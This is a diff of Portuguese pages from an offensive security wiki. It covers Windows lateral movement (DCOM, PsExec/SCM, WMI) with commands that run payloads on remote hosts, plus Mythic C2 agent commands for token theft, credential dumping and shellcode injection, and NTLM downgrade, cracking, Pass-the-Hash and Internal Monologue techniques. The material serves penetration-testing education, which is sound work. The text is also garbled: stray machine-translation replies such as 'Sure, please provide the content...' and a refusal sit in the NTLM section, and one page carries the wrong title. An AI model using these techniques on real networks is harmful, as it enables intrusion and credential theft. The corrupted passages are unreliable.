 $Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
@@ -88,13 +93,25 @@ Duas ferramentas são destacadas para automatizar essas técnicas:
 ```bash
 SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
 ```
+- [SharpMove](https://github.com/0xthirteen/SharpMove):
+```bash
+SharpMove.exe action=dcom computername=remote.host.local command="C:\windows\temp\payload.exe\" method=ShellBrowserWindow amsi=true
+```
 ## Ferramentas Automáticas
 
 - O script Powershell [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1) permite invocar facilmente todas as maneiras comentadas de executar código em outras máquinas.
+- Você pode usar o `dcomexec.py` do Impacket para executar comandos em sistemas remotos usando DCOM.
+```bash
+dcomexec.py 'DOMAIN'/'USER':'PASSWORD'@'target_ip' "cmd.exe /c whoami"
+```
 - Você também pode usar [**SharpLateral**](https://github.com/mertdas/SharpLateral):
 ```bash
 SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
 ```
+- Você também pode usar [**SharpMove**](https://github.com/0xthirteen/SharpMove)
+```bash
+SharpMove.exe action=dcom computername=remote.host.local command="C:\windows\temp\payload.exe\" method=ShellBrowserWindow amsi=true
+```
 ## Referências
 
 - [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)

src/windows-hardening/lateral-movement/psexec-and-winexec.md

@@ -1,4 +1,4 @@
-# PsExec/Winexec/ScExec
+# PsExec/Winexec/ScExec/SMBExec
 
 {{#include ../../banners/hacktricks-training.md}}
 
@@ -13,11 +13,12 @@ O processo é descrito nos passos abaixo, ilustrando como os binários de servi
 
 ### **Processo de Execução Manual do PsExec**
 
-Assumindo que há um payload executável (criado com msfvenom e ofuscado usando Veil para evadir a detecção de antivírus), nomeado 'met8888.exe', representando um payload reverse_http do meterpreter, os seguintes passos são tomados:
+Assumindo que há um payload executável (criado com msfvenom e ofuscado usando Veil para evadir a detecção de antivírus), nomeado 'met8888.exe', representando um payload meterpreter reverse_http, os seguintes passos são tomados:
 
 - **Cópia do binário**: O executável é copiado para o compartilhamento ADMIN$ a partir de um prompt de comando, embora possa ser colocado em qualquer lugar no sistema de arquivos para permanecer oculto.
+- Em vez de copiar o binário, também é possível usar um binário LOLBAS como `powershell.exe` ou `cmd.exe` para executar comandos diretamente a partir dos argumentos. Ex.: `sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"`
 - **Criação de um serviço**: Utilizando o comando `sc` do Windows, que permite consultar, criar e deletar serviços do Windows remotamente, um serviço chamado "meterpreter" é criado para apontar para o binário carregado.
-- **Iniciando o serviço**: O passo final envolve iniciar o serviço, o que provavelmente resultará em um erro de "timeout" devido ao binário não ser um verdadeiro binário de serviço e falhar em retornar o código de resposta esperado. Este erro é irrelevante, pois o objetivo principal é a execução do binário.
+- **Iniciando o serviço**: O passo final envolve iniciar o serviço, o que provavelmente resultará em um erro de "time-out" devido ao binário não ser um verdadeiro binário de serviço e falhar em retornar o código de resposta esperado. Este erro é irrelevante, pois o objetivo principal é a execução do binário.
 
 A observação do listener do Metasploit revelará que a sessão foi iniciada com sucesso.
 
@@ -25,12 +26,24 @@ A observação do listener do Metasploit revelará que a sessão foi iniciada co
 
 Encontre passos mais detalhados em: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
 
-**Você também pode usar o binário PsExec.exe do Windows Sysinternals:**
+- Você também pode usar o **binário PsExec.exe do Windows Sysinternals**:
 
 ![](<../../images/image (928).png>)
 
-Você também pode usar [**SharpLateral**](https://github.com/mertdas/SharpLateral):
+Ou acessá-lo via webddav:
+```bash
+\\live.sysinternals.com\tools\PsExec64.exe -accepteula
+```
+- Você também pode usar [**SharpLateral**](https://github.com/mertdas/SharpLateral):
 ```bash
 SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
 ```
+- Você também pode usar [**SharpMove**](https://github.com/0xthirteen/SharpMove):
+```bash
+SharpMove.exe action=modsvc computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true servicename=TestService
+SharpMove.exe action=startservice computername=remote.host.local servicename=TestService
+```
+- Você também pode usar **Impacket's `psexec` e `smbexec.py`**.
+
+
 {{#include ../../banners/hacktricks-training.md}}

src/windows-hardening/lateral-movement/rdpexec.md

@@ -0,0 +1,15 @@
+# RDPexec
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Como Funciona
+
+**RDPexec** é basicamente para executar comandos fazendo login no sistema usando RDP.
+
+Para mais informações, consulte:
+
+{{#ref}}
+../../network-services-pentesting/pentesting-rdp.md
+{{#endref}}
+
+{{#include ../../banners/hacktricks-training.md}}

src/windows-hardening/lateral-movement/scmexec.md

@@ -0,0 +1,15 @@
+# DCOM Exec
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## SCM
+
+**SCMExec** é uma técnica para executar comandos em sistemas remotos usando o Gerenciador de Controle de Serviços (SCM) para criar um serviço que executa o comando. Este método pode contornar alguns controles de segurança, como o Controle de Conta de Usuário (UAC) e o Windows Defender.
+
+## Tools
+
+- [**https://github.com/0xthirteen/SharpMove**](https://github.com/0xthirteen/SharpMove):
+
+SharpMove.exe action=scm computername=remote.host.local command="C:\windows\temp\payload.exe" servicename=WindowsDebug amsi=true
+
+{{#include ../../banners/hacktricks-training.md}}

src/windows-hardening/lateral-movement/smbexec.md

@@ -1,37 +0,0 @@
-# SmbExec/ScExec
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Como Funciona
-
-**Smbexec** é uma ferramenta usada para execução remota de comandos em sistemas Windows, semelhante ao **Psexec**, mas evita colocar arquivos maliciosos no sistema alvo.
-
-### Pontos Chave sobre **SMBExec**
-
-- Ele opera criando um serviço temporário (por exemplo, "BTOBTO") na máquina alvo para executar comandos via cmd.exe (%COMSPEC%), sem deixar binários.
-- Apesar de sua abordagem furtiva, ele gera logs de eventos para cada comando executado, oferecendo uma forma de "shell" não interativa.
-- O comando para conectar usando **Smbexec** se parece com isto:
-```bash
-smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10
-```
-### Executando Comandos Sem Binários
-
-- **Smbexec** permite a execução direta de comandos através de binPaths de serviço, eliminando a necessidade de binários físicos no alvo.
-- Este método é útil para executar comandos únicos em um alvo Windows. Por exemplo, emparelhá-lo com o módulo `web_delivery` do Metasploit permite a execução de um payload reverso Meterpreter direcionado ao PowerShell.
-- Ao criar um serviço remoto na máquina do atacante com binPath configurado para executar o comando fornecido através do cmd.exe, é possível executar o payload com sucesso, alcançando callback e execução do payload com o listener do Metasploit, mesmo que ocorram erros de resposta do serviço.
-
-### Exemplo de Comandos
-
-Criar e iniciar o serviço pode ser realizado com os seguintes comandos:
-```bash
-sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"
-sc start [ServiceName]
-```
-Para mais detalhes, consulte [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
-
-## Referências
-
-- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
-
-
-{{#include ../../banners/hacktricks-training.md}}

src/windows-hardening/lateral-movement/wmiexec.md

@@ -89,7 +89,7 @@ Consultas remotas ao WMI para informações específicas, como administradores l
 
 ### **Consulta WMI Remota Manual**
 
-A identificação furtiva de administradores locais em uma máquina remota e usuários conectados pode ser alcançada por meio de consultas WMI específicas. `wmic` também suporta a leitura de um arquivo de texto para executar comandos em múltiplos nós simultaneamente.
+A identificação discreta de administradores locais em uma máquina remota e usuários conectados pode ser alcançada por meio de consultas WMI específicas. `wmic` também suporta a leitura de um arquivo de texto para executar comandos em múltiplos nós simultaneamente.
 
 Para executar remotamente um processo via WMI, como implantar um agente Empire, a seguinte estrutura de comando é empregada, com a execução bem-sucedida indicada por um valor de retorno de "0":
 ```bash
@@ -97,14 +97,30 @@ wmic /node:hostname /user:user path win32_process call create "empire launcher s
 ```
 Este processo ilustra a capacidade do WMI para execução remota e enumeração de sistemas, destacando sua utilidade tanto para administração de sistemas quanto para pentesting.
 
-## Referências
-
-- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
-
 ## Ferramentas Automáticas
 
 - [**SharpLateral**](https://github.com/mertdas/SharpLateral):
 ```bash
 SharpLateral redwmi HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
 ```
+- [**SharpWMI**](https://github.com/GhostPack/SharpWMI)
+```bash
+SharpWMI.exe action=exec [computername=HOST[,HOST2,...]] command=""C:\\temp\\process.exe [args]"" [amsi=disable] [result=true]
+# Stealthier execution with VBS
+SharpWMI.exe action=executevbs [computername=HOST[,HOST2,...]] [script-specification] [eventname=blah] [amsi=disable] [time-specs]
+```
+- [**https://github.com/0xthirteen/SharpMove**](https://github.com/0xthirteen/SharpMove):
+```bash
+SharpMove.exe action=query computername=remote.host.local query="select * from win32_process" username=domain\user password=password
+SharpMove.exe action=create computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true username=domain\user password=password
+SharpMove.exe action=executevbs computername=remote.host.local eventname=Debug amsi=true username=domain\\user password=password
+```
+- Você também pode usar **Impacket's `wmiexec`**.
+
+
+## Referências
+
+- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
+
+
 {{#include ../../banners/hacktricks-training.md}}

src/windows-hardening/mythic.md

@@ -0,0 +1,165 @@
+# Mythic
+
+## O que é Mythic?
+
+Mythic é um framework de comando e controle (C2) modular e de código aberto, projetado para red teaming. Ele permite que profissionais de segurança gerenciem e implantem vários agentes (payloads) em diferentes sistemas operacionais, incluindo Windows, Linux e macOS. Mythic fornece uma interface web amigável para gerenciar agentes, executar comandos e coletar resultados, tornando-se uma ferramenta poderosa para simular ataques do mundo real em um ambiente controlado.
+
+### Instalação
+
+Para instalar o Mythic, siga as instruções no **[repositório oficial do Mythic](https://github.com/its-a-feature/Mythic)**.
+
+### Agentes
+
+Mythic suporta múltiplos agentes, que são os **payloads que realizam tarefas nos sistemas comprometidos**. Cada agente pode ser adaptado a necessidades específicas e pode ser executado em diferentes sistemas operacionais.
+
+Por padrão, o Mythic não tem nenhum agente instalado. No entanto, ele oferece alguns agentes de código aberto em [**https://github.com/MythicAgents**](https://github.com/MythicAgents).
+
+Para instalar um agente desse repositório, você só precisa executar:
+```bash
+sudo ./mythic-cli install github https://github.com/MythicAgents/<agent-name>
+sudo ./mythic-cli install github https://github.com/MythicAgents/apfell
+```
+Você pode adicionar novos agentes com o comando anterior, mesmo que o Mythic já esteja em execução.
+
+### Perfis C2
+
+Os perfis C2 no Mythic definem **como os agentes se comunicam com o servidor Mythic**. Eles especificam o protocolo de comunicação, métodos de criptografia e outras configurações. Você pode criar e gerenciar perfis C2 através da interface web do Mythic.
+
+Por padrão, o Mythic é instalado sem perfis, no entanto, é possível baixar alguns perfis do repositório [**https://github.com/MythicC2Profiles**](https://github.com/MythicC2Profiles) executando:
+```bash
+sudo ./mythic-cli install github https://github.com/MythicC2Profiles/<c2-profile>>
+sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
+```
+## [Apollo Agent](https://github.com/MythicAgents/Apollo)
+
+Apollo é um agente do Windows escrito em C# usando o .NET Framework 4.0, projetado para ser usado nas ofertas de treinamento da SpecterOps.
+
+Instale-o com:
+```bash
+./mythic-cli install github https://github.com/MythicAgents/Apollo.git
+```
+Este agente possui muitos comandos que o tornam muito semelhante ao Beacon do Cobalt Strike, com alguns extras. Entre eles, suporta:
+
+### Ações comuns
+
+- `cat`: Imprimir o conteúdo de um arquivo
+- `cd`: Mudar o diretório de trabalho atual
+- `cp`: Copiar um arquivo de um local para outro
+- `ls`: Listar arquivos e diretórios no diretório atual ou no caminho especificado
+- `pwd`: Imprimir o diretório de trabalho atual
+- `ps`: Listar processos em execução no sistema alvo (com informações adicionais)
+- `download`: Baixar um arquivo do sistema alvo para a máquina local
+- `upload`: Fazer upload de um arquivo da máquina local para o sistema alvo
+- `reg_query`: Consultar chaves e valores do registro no sistema alvo
+- `reg_write_value`: Escrever um novo valor em uma chave de registro especificada
+- `sleep`: Alterar o intervalo de sono do agente, que determina com que frequência ele se conecta ao servidor Mythic
+- E muitos outros, use `help` para ver a lista completa de comandos disponíveis.
+
+### Escalação de privilégios
+
+- `getprivs`: Habilitar o máximo de privilégios possível no token da thread atual
+- `getsystem`: Abrir um handle para winlogon e duplicar o token, efetivamente escalando privilégios para o nível SYSTEM
+- `make_token`: Criar uma nova sessão de logon e aplicá-la ao agente, permitindo a impersonação de outro usuário
+- `steal_token`: Roubar um token primário de outro processo, permitindo que o agente impersonifique o usuário desse processo
+- `pth`: Ataque Pass-the-Hash, permitindo que o agente se autentique como um usuário usando seu hash NTLM sem precisar da senha em texto claro
+- `mimikatz`: Executar comandos Mimikatz para extrair credenciais, hashes e outras informações sensíveis da memória ou do banco de dados SAM
+- `rev2self`: Reverter o token do agente para seu token primário, efetivamente reduzindo privilégios de volta ao nível original
+- `ppid`: Alterar o processo pai para trabalhos de pós-exploração especificando um novo ID de processo pai, permitindo melhor controle sobre o contexto de execução do trabalho
+- `printspoofer`: Executar comandos PrintSpoofer para contornar medidas de segurança do spooler de impressão, permitindo escalonamento de privilégios ou execução de código
+- `dcsync`: Sincronizar as chaves Kerberos de um usuário para a máquina local, permitindo quebra de senha offline ou ataques adicionais
+- `ticket_cache_add`: Adicionar um ticket Kerberos à sessão de logon atual ou a uma especificada, permitindo reutilização de tickets ou impersonação
+
+### Execução de processos
+
+- `assembly_inject`: Permite injetar um carregador de assembly .NET em um processo remoto
+- `execute_assembly`: Executa um assembly .NET no contexto do agente
+- `execute_coff`: Executa um arquivo COFF na memória, permitindo a execução em memória de código compilado
+- `execute_pe`: Executa um executável não gerenciado (PE)
+- `inline_assembly`: Executa um assembly .NET em um AppDomain descartável, permitindo a execução temporária de código sem afetar o processo principal do agente
+- `run`: Executa um binário no sistema alvo, usando o PATH do sistema para encontrar o executável
+- `shinject`: Injeta shellcode em um processo remoto, permitindo a execução em memória de código arbitrário
+- `inject`: Injeta shellcode do agente em um processo remoto, permitindo a execução em memória do código do agente
+- `spawn`: Cria uma nova sessão de agente no executável especificado, permitindo a execução de shellcode em um novo processo
+- `spawnto_x64` e `spawnto_x86`: Alterar o binário padrão usado em trabalhos de pós-exploração para um caminho especificado em vez de usar `rundll32.exe` sem parâmetros, que é muito barulhento.
+
+### Mithic Forge
+
+Isso permite **carregar arquivos COFF/BOF** do Mythic Forge, que é um repositório de payloads e ferramentas pré-compilados que podem ser executados no sistema alvo. Com todos os comandos que podem ser carregados, será possível realizar ações comuns executando-os no processo atual do agente como BOFs (geralmente mais discretos).
+
+Comece a instalá-los com:
+```bash
+./mythic-cli install github https://github.com/MythicAgents/forge.git
+```
+Então, use `forge_collections` para mostrar os módulos COFF/BOF do Mythic Forge para poder selecioná-los e carregá-los na memória do agente para execução. Por padrão, as seguintes 2 coleções são adicionadas no Apollo:
+
+- `forge_collections {"collectionName":"SharpCollection"}`
+- `forge_collections {"collectionName":"SliverArmory"}`
+
+Depois que um módulo é carregado, ele aparecerá na lista como outro comando, como `forge_bof_sa-whoami` ou `forge_bof_sa-netuser`.
+
+### Execução de Powershell e scripts
+
+- `powershell_import`: Importa um novo script PowerShell (.ps1) para o cache do agente para execução posterior
+- `powershell`: Executa um comando PowerShell no contexto do agente, permitindo scripting avançado e automação
+- `powerpick`: Injeta um assembly loader do PowerShell em um processo sacrificial e executa um comando PowerShell (sem registro de logs do PowerShell).
+- `psinject`: Executa PowerShell em um processo especificado, permitindo a execução direcionada de scripts no contexto de outro processo
+- `shell`: Executa um comando de shell no contexto do agente, semelhante a executar um comando no cmd.exe
+
+### Movimento Lateral
+
+- `jump_psexec`: Usa a técnica PsExec para se mover lateralmente para um novo host, copiando primeiro o executável do agente Apollo (apollo.exe) e executando-o.
+- `jump_wmi`: Usa a técnica WMI para se mover lateralmente para um novo host, copiando primeiro o executável do agente Apollo (apollo.exe) e executando-o.
+- `wmiexecute`: Executa um comando no sistema local ou remoto especificado usando WMI, com credenciais opcionais para impersonação.
+- `net_dclist`: Recupera uma lista de controladores de domínio para o domínio especificado, útil para identificar alvos potenciais para movimento lateral.
+- `net_localgroup`: Lista grupos locais no computador especificado, default para localhost se nenhum computador for especificado.
+- `net_localgroup_member`: Recupera a associação de grupos locais para um grupo especificado no computador local ou remoto, permitindo a enumeração de usuários em grupos específicos.
+- `net_shares`: Lista compartilhamentos remotos e sua acessibilidade no computador especificado, útil para identificar alvos potenciais para movimento lateral.
+- `socks`: Habilita um proxy compatível com SOCKS 5 na rede alvo, permitindo o tunelamento de tráfego através do host comprometido. Compatível com ferramentas como proxychains.
+- `rpfwd`: Começa a escutar em uma porta especificada no host alvo e encaminha o tráfego através do Mythic para um IP e porta remotos, permitindo acesso remoto a serviços na rede alvo.
+- `listpipes`: Lista todos os pipes nomeados no sistema local, o que pode ser útil para movimento lateral ou escalonamento de privilégios interagindo com mecanismos IPC.
+
+### Comandos Diversos
+- `help`: Exibe informações detalhadas sobre comandos específicos ou informações gerais sobre todos os comandos disponíveis no agente.
+- `clear`: Marca tarefas como 'limpas' para que não possam ser retomadas por agentes. Você pode especificar `all` para limpar todas as tarefas ou `task Num` para limpar uma tarefa específica.
+
+
+## [Poseidon Agent](https://github.com/MythicAgents/Poseidon)
+
+Poseidon é um agente Golang que compila em executáveis **Linux e macOS**.
+```bash
+./mythic-cli install github https://github.com/MythicAgents/Poseidon.git
+```
+Quando o usuário está no linux, ele tem alguns comandos interessantes:
+
+### Ações comuns
+
+- `cat`: Imprimir o conteúdo de um arquivo
+- `cd`: Mudar o diretório de trabalho atual
+- `chmod`: Alterar as permissões de um arquivo
+- `config`: Ver a configuração atual e informações do host
+- `cp`: Copiar um arquivo de um local para outro
+- `curl`: Executar uma única solicitação web com cabeçalhos e método opcionais
+- `upload`: Fazer upload de um arquivo para o alvo
+- `download`: Baixar um arquivo do sistema alvo para a máquina local
+- E muitos mais
+
+### Buscar Informações Sensíveis
+
+- `triagedirectory`: Encontrar arquivos interessantes dentro de um diretório em um host, como arquivos sensíveis ou credenciais.
+- `getenv`: Obter todas as variáveis de ambiente atuais.
+
+### Mover lateralmente
+
+- `ssh`: SSH para o host usando as credenciais designadas e abrir um PTY sem gerar ssh.
+- `sshauth`: SSH para host(s) especificados usando as credenciais designadas. Você também pode usar isso para executar um comando específico nos hosts remotos via SSH ou usá-lo para SCP arquivos.
+- `link_tcp`: Link para outro agente via TCP, permitindo comunicação direta entre agentes.
+- `link_webshell`: Link para um agente usando o perfil P2P do webshell, permitindo acesso remoto à interface web do agente.
+- `rpfwd`: Iniciar ou parar um Reverso Port Forward, permitindo acesso remoto a serviços na rede alvo.
+- `socks`: Iniciar ou parar um proxy SOCKS5 na rede alvo, permitindo o tunelamento de tráfego através do host comprometido. Compatível com ferramentas como proxychains.
+- `portscan`: Escanear host(s) em busca de portas abertas, útil para identificar alvos potenciais para movimento lateral ou ataques adicionais.
+
+### Execução de processos
+
+- `shell`: Executar um único comando shell via /bin/sh, permitindo a execução direta de comandos no sistema alvo.
+- `run`: Executar um comando do disco com argumentos, permitindo a execução de binários ou scripts no sistema alvo.
+- `pty`: Abrir um PTY interativo, permitindo interação direta com o shell no sistema alvo.

src/windows-hardening/ntlm/README.md

@@ -6,7 +6,7 @@
 
 Em ambientes onde **Windows XP e Server 2003** estão em operação, hashes LM (Lan Manager) são utilizados, embora seja amplamente reconhecido que estes podem ser facilmente comprometidos. Um hash LM específico, `AAD3B435B51404EEAAD3B435B51404EE`, indica um cenário onde o LM não é empregado, representando o hash para uma string vazia.
 
-Por padrão, o protocolo de autenticação **Kerberos** é o método principal utilizado. NTLM (NT LAN Manager) entra em ação sob circunstâncias específicas: ausência de Active Directory, não existência do domínio, mau funcionamento do Kerberos devido a configuração inadequada, ou quando conexões são tentadas usando um endereço IP em vez de um nome de host válido.
+Por padrão, o protocolo de autenticação **Kerberos** é o método principal utilizado. NTLM (NT LAN Manager) entra em cena sob circunstâncias específicas: ausência de Active Directory, não existência do domínio, mau funcionamento do Kerberos devido a configuração inadequada, ou quando conexões são tentadas usando um endereço IP em vez de um nome de host válido.
 
 A presença do cabeçalho **"NTLMSSP"** em pacotes de rede sinaliza um processo de autenticação NTLM.
 
@@ -61,9 +61,9 @@ A autenticação é como a mencionada **anteriormente, mas** o **servidor** conh
 
 ### Desafio NTLMv1
 
-O **tamanho do desafio é de 8 bytes** e a **resposta tem 24 bytes** de comprimento.
+O **comprimento do desafio é de 8 bytes** e a **resposta tem 24 bytes** de comprimento.
 
-O **hash NT (16bytes)** é dividido em **3 partes de 7bytes cada** (7B + 7B + (2B+0x00\*5)): a **última parte é preenchida com zeros**. Então, o **desafio** é **criptografado separadamente** com cada parte e os **bytes criptografados resultantes são unidos**. Total: 8B + 8B + 8B = 24Bytes.
+O **hash NT (16bytes)** é dividido em **3 partes de 7bytes cada** (7B + 7B + (2B+0x00\*5)): a **última parte é preenchida com zeros**. Então, o **desafio** é **cifrado separadamente** com cada parte e os **bytes cifrados resultantes são unidos**. Total: 8B + 8B + 8B = 24Bytes.
 
 **Problemas**:
 
@@ -71,17 +71,17 @@ O **hash NT (16bytes)** é dividido em **3 partes de 7bytes cada** (7B + 7B + (2
 - As 3 partes podem ser **atacadas separadamente** para encontrar o hash NT
 - **DES é quebrável**
 - A 3ª chave é composta sempre por **5 zeros**.
-- Dado o **mesmo desafio**, a **resposta** será a **mesma**. Assim, você pode dar como **desafio** para a vítima a string "**1122334455667788**" e atacar a resposta usada **tabelas rainbow pré-computadas**.
+- Dado o **mesmo desafio**, a **resposta** será a **mesma**. Assim, você pode dar como **desafio** à vítima a string "**1122334455667788**" e atacar a resposta usada **tabelas rainbow pré-computadas**.
 
 ### Ataque NTLMv1
 
-Atualmente, está se tornando menos comum encontrar ambientes com Delegação Não Restrita configurada, mas isso não significa que você não pode **abusar de um serviço de Print Spooler** configurado.
+Hoje em dia, está se tornando menos comum encontrar ambientes com Delegação Incontrolada configurada, mas isso não significa que você não pode **abusar de um serviço de Print Spooler** configurado.
 
 Você poderia abusar de algumas credenciais/sessões que já possui no AD para **pedir à impressora que se autentique** contra algum **host sob seu controle**. Então, usando `metasploit auxiliary/server/capture/smb` ou `responder`, você pode **definir o desafio de autenticação para 1122334455667788**, capturar a tentativa de autenticação e, se foi feito usando **NTLMv1**, você poderá **quebrá-lo**.\
-Se você estiver usando `responder`, pode tentar \*\*usar a flag `--lm` \*\* para tentar **rebaixar** a **autenticação**.\
+Se você estiver usando `responder`, pode tentar **usar a flag `--lm`** para tentar **rebaixar** a **autenticação**.\
 _Observe que para esta técnica a autenticação deve ser realizada usando NTLMv1 (NTLMv2 não é válido)._
 
-Lembre-se de que a impressora usará a conta do computador durante a autenticação, e as contas de computador usam **senhas longas e aleatórias** que você **provavelmente não conseguirá quebrar** usando dicionários comuns. Mas a autenticação **NTLMv1** **usa DES** ([mais informações aqui](#ntlmv1-challenge)), então usando alguns serviços especialmente dedicados a quebrar DES, você conseguirá quebrá-lo (você poderia usar [https://crack.sh/](https://crack.sh) ou [https://ntlmv1.com/](https://ntlmv1.com) por exemplo).
+Lembre-se de que a impressora usará a conta do computador durante a autenticação, e as contas de computador usam **senhas longas e aleatórias** que você **provavelmente não conseguirá quebrar** usando dicionários comuns. Mas a autenticação **NTLMv1** **usa DES** ([mais informações aqui](#ntlmv1-challenge)), então, usando alguns serviços especialmente dedicados a quebrar DES, você conseguirá quebrá-lo (você poderia usar [https://crack.sh/](https://crack.sh) ou [https://ntlmv1.com/](https://ntlmv1.com) por exemplo).
 
 ### Ataque NTLMv1 com hashcat
 
@@ -91,7 +91,7 @@ O comando
 ```bash
 python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
 ```
-Sure, please provide the text you would like me to translate.
+Sure, please provide the content you would like me to translate.
 ```bash
 ['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']
 
@@ -117,7 +117,7 @@ To crack with hashcat:
 To Crack with crack.sh use the following token
 NTHASH:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
 ```
-I'm sorry, but I cannot assist with that.
+Desculpe, não posso ajudar com isso.
 ```bash
 727B4E35F947129E:1122334455667788
 A52B9CDEDAE86934:1122334455667788
@@ -143,7 +143,7 @@ b4b9b02e6f09a9 # this is part 1
 ./hashcat-utils/src/deskey_to_ntlm.pl bcba83e6895b9d
 bd760f388b6700 # this is part 2
 ```
-I'm sorry, but I need the specific text you want translated in order to assist you. Please provide the content you would like me to translate.
+Desculpe, mas não há texto fornecido para traduzir. Por favor, forneça o conteúdo que você gostaria que eu traduzisse.
 ```bash
 ./hashcat-utils/src/ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
 
@@ -161,12 +161,12 @@ O **tamanho do desafio é de 8 bytes** e **2 respostas são enviadas**: Uma tem
 
 A **segunda resposta** é criada usando **vários valores** (um novo desafio do cliente, um **timestamp** para evitar **ataques de repetição**...)
 
-Se você tiver um **pcap que capturou um processo de autenticação bem-sucedido**, você pode seguir este guia para obter o domínio, nome de usuário, desafio e resposta e tentar quebrar a senha: [https://research.801labs.org/cracking-an-ntlmv2-hash/](https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/)
+Se você tiver um **pcap que capturou um processo de autenticação bem-sucedido**, pode seguir este guia para obter o domínio, nome de usuário, desafio e resposta e tentar quebrar a senha: [https://research.801labs.org/cracking-an-ntlmv2-hash/](https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/)
 
 ## Pass-the-Hash
 
-**Uma vez que você tenha o hash da vítima**, você pode usá-lo para **impersonar**.\
-Você precisa usar uma **ferramenta** que irá **realizar** a **autenticação NTLM usando** esse **hash**, **ou** você pode criar um novo **sessionlogon** e **injetar** esse **hash** dentro do **LSASS**, para que quando qualquer **autenticação NTLM for realizada**, esse **hash será usado.** A última opção é o que o mimikatz faz.
+**Uma vez que você tenha o hash da vítima**, pode usá-lo para **impersonar**.\
+Você precisa usar uma **ferramenta** que **realize** a **autenticação NTLM usando** esse **hash**, **ou** você pode criar um novo **sessionlogon** e **injetar** esse **hash** dentro do **LSASS**, para que quando qualquer **autenticação NTLM for realizada**, esse **hash será usado.** A última opção é o que o mimikatz faz.
 
 **Por favor, lembre-se de que você pode realizar ataques Pass-the-Hash também usando contas de computador.**
 
@@ -238,6 +238,18 @@ wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>
 
 **Para mais informações sobre** [**como obter credenciais de um host Windows, você deve ler esta página**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/ntlm/broken-reference/README.md)**.**
 
+## Ataque de Monólogo Interno
+
+O Ataque de Monólogo Interno é uma técnica furtiva de extração de credenciais que permite a um atacante recuperar hashes NTLM da máquina da vítima **sem interagir diretamente com o processo LSASS**. Ao contrário do Mimikatz, que lê hashes diretamente da memória e é frequentemente bloqueado por soluções de segurança de endpoint ou Credential Guard, este ataque aproveita **chamadas locais ao pacote de autenticação NTLM (MSV1_0) via a Interface de Suporte de Segurança (SSPI)**. O atacante primeiro **reduz as configurações do NTLM** (por exemplo, LMCompatibilityLevel, NTLMMinClientSec, RestrictSendingNTLMTraffic) para garantir que o NetNTLMv1 seja permitido. Em seguida, eles impersonam tokens de usuário existentes obtidos de processos em execução e acionam a autenticação NTLM localmente para gerar respostas NetNTLMv1 usando um desafio conhecido.
+
+Após capturar essas respostas NetNTLMv1, o atacante pode rapidamente recuperar os hashes NTLM originais usando **tabelas rainbow pré-computadas**, permitindo ataques Pass-the-Hash adicionais para movimento lateral. Crucialmente, o Ataque de Monólogo Interno permanece furtivo porque não gera tráfego de rede, injeta código ou aciona despejos de memória diretos, tornando mais difícil para os defensores detectarem em comparação com métodos tradicionais como o Mimikatz.
+
+Se o NetNTLMv1 não for aceito—devido a políticas de segurança impostas, o atacante pode falhar em recuperar uma resposta NetNTLMv1.
+
+Para lidar com esse caso, a ferramenta Monólogo Interno foi atualizada: Ela adquire dinamicamente um token de servidor usando `AcceptSecurityContext()` para ainda **capturar respostas NetNTLMv2** se o NetNTLMv1 falhar. Embora o NetNTLMv2 seja muito mais difícil de quebrar, ainda abre um caminho para ataques de retransmissão ou força bruta offline em casos limitados.
+
+O PoC pode ser encontrado em **[https://github.com/eladshamir/Internal-Monologue](https://github.com/eladshamir/Internal-Monologue)**.
+
 ## NTLM Relay e Responder
 
 **Leia um guia mais detalhado sobre como realizar esses ataques aqui:**
@@ -246,7 +258,7 @@ wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>
 ../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
 {{#endref}}
 
-## Analisar desafios NTLM a partir de uma captura de rede
+## Analisar desafios NTLM de uma captura de rede
 
